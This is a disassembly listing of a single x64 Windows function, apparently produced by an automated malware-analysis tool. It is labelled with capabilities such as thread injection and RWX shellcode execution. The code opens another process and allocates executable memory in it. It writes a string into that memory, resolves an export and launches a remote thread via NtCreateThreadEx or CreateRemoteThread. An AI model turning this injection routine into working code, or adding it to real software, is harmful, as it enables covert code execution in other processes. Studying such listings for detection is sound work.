Function at 0x140002130
Capabilities:
Allocate or change rwx memory
Check os version
Create thread
Execute shellcode via indirect call
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push rbp
push rsi
push rdi
push r12
push r13
sub rsp, 0x130
mov qword [rsp + 0x78], 0xfffffffffffffffe
mov qword [rsp + 0x170], rbx
mov rax, qword [0x140036c80]
xor rax, rsp
mov qword [rsp + 0x120], rax
mov rsi, rdx
mov r13d, ecx
xor r12d, r12d
lea rax, [rsp + 0x60]
mov qword [rsp + 0x70], rax
call fcn.1400035d4
mov rdx, rax
mov eax, r12d
test rdx, rdx
setne al
test eax, eax
je 0x1400024bc
nop
mov rax, qword [rdx]
mov rcx, rdx
call qword [rax + 0x18]
lea r10, [rax + 0x18]
mov qword [rsp + 0x60], r10
test rsi, rsi
je 0x14000227b
test rsi, 0xffffffffffff0000
jne 0x1400021dc
movzx edi, si
mov ecx, edi
call fcn.14000311c
test rax, rax
je 0x1400022cd
mov r8d, edi
mov rdx, rax
lea rcx, [rsp + 0x60]
call fcn.1400018f0
jmp 0x1400022cd
xor eax, eax
or rcx, 0xffffffffffffffff
mov rdi, rsi
repne scasb al, byte [rdi]
not rcx
sub rcx, 1
mov rdi, rcx
test ecx, ecx
je 0x14000227b
mov ebx, dword [r10 - 0x10]
mov rbp, rsi
sub rbp, r10
mov edx, 1
sub edx, dword [r10 - 8]
mov eax, dword [r10 - 0xc]
sub eax, ecx
or eax, edx
jge 0x140002227
mov edx, ecx
lea rcx, [rsp + 0x60]
call fcn.1400015c0
mov r10, qword [rsp + 0x60]
cmp rbp, rbx
ja 0x140002243
movsxd rbx, edi
lea r8, [r10 + rbp]
mov r9, rbx
mov rdx, rbx
mov rcx, r10
call fcn.140011c80
jmp 0x140002257
movsxd rbx, edi
mov r9, rbx
mov r8, rsi
mov rdx, rbx
mov rcx, r10
call fcn.140011d10
test edi, edi
js 0x140002306
mov rax, qword [rsp + 0x60]
cmp edi, dword [rax - 0xc]
jg 0x140002306
mov dword [rax - 0x10], edi
mov rax, qword [rsp + 0x60]
mov byte [rbx + rax], 0
jmp 0x1400022cd
lea rdx, [r10 - 0x18]
mov rdi, qword [rdx]
cmp dword [rdx + 8], 0
je 0x1400022cd
cmp dword [rdx + 0x10], 0
jge 0x1400022a3
cmp dword [r10 - 0xc], 0
jl 0x140002311
mov dword [r10 - 0x10], r12d
mov rax, qword [rsp + 0x60]
mov byte [rax], 0
jmp 0x1400022cd
or eax, 0xffffffff
lock xadd dword [rdx + 0x10], eax
add eax, 0xffffffff
test eax, eax
jg 0x1400022bb
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
mov rax, qword [rdi]
mov rcx, rdi
call qword [rax + 0x18]
add rax, 0x18
mov qword [rsp + 0x60], rax
lea rcx, [rsp + 0x60]
call fcn.140001b10
test eax, eax
jne 0x14000231c
mov ecx, 0xea60
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, [rsp + 0x60]
mov qword [rsp + 0x70], rdx
call fcn.1400035d4
mov rdx, rax
test rax, rax
je 0x1400024bc
jmp 0x140002190
mov ecx, 0x80070057
call fcn.140001290
int3
mov ecx, 0x80070057
call fcn.140001290
nop
mov r8d, r13d
xor edx, edx
mov ecx, 0x42a
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rdi, rax
test rax, rax
je 0x1400024c7
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_lstrlenA]
add eax, 1
movsxd rbp, eax
mov dword [rsp + 0x20], 0x40
mov r9d, 0x1000
mov r8, rbp
xor edx, edx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rbx, rax
test rax, rax
je 0x14000249e
mov qword [rsp + 0x20], r12
mov r9, rbp
mov r8, rsi
mov rdx, rax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x140002489
lea rcx, str.Kernel32
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, [0x14002e018]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rsi, rax
test rax, rax
je 0x140002489
mov qword [rsp + 0x68], r12
xor edx, edx
mov r8d, 0x94
lea rcx, [rsp + 0x80]
call fcn.140014060
mov dword [rsp + 0x80], 0x94
lea rcx, [rsp + 0x80]
call qword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [rsp + 0x84], 6
jb 0x140002452
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.NtCreateThreadEx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x140002489
mov qword [rsp + 0x50], r12
mov qword [rsp + 0x48], r12
mov qword [rsp + 0x40], r12
mov qword [rsp + 0x38], r12
mov dword [rsp + 0x30], r12d
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], rsi
mov r9, rdi
xor r8d, r8d
mov edx, 0x1fffff
lea rcx, [rsp + 0x68]
call rax
mov rax, qword [rsp + 0x68]
jmp 0x140002477
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], r12d
mov qword [rsp + 0x20], rbx
mov r9, rsi
xor r8d, r8d
xor edx, edx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov qword [rsp + 0x68], rax
or edx, 0xffffffff
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov r12d, 1
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rbx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rcx, qword [rsp + 0x68]
test rcx, rcx
je 0x1400024ae
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, r12d
jmp 0x1400024c7
mov ecx, 0x80004005
call fcn.140001290
int3
mov rcx, qword [rsp + 0x120]
xor rcx, rsp
call fcn.140011c60
mov rbx, qword [rsp + 0x170]
add rsp, 0x130
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret